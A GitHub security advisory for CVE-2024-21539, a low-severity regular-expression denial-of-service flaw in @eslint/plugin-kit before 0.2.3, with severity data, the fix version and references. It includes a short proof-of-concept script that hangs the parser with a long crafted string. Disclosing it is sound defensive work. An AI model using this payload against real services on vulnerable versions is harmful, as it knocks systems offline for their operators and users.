GitHub Advisoryadvisory · npm
GHSA-7q7g-4xm8-89cq Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
LOW
Official page ↗
- Aliases
- CVE-2024-21539
- Ecosystem
- npm
- Packages
- @eslint/plugin-kit
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-1333, CWE-770
- Reviewed
- 2024-11-15
Affected packages
• npm @eslint/plugin-kit: < 0.2.3 → fixed in 0.2.3
Description
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
```js
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
```
Related
Alias · CVE (1)
- CVE-2024-21539 Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper… vulnerability
References
- https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq web
- https://nvd.nist.gov/vuln/detail/CVE-2024-21539 advisory
- https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf web
- https://github.com/eslint/rewrite package
- https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627 web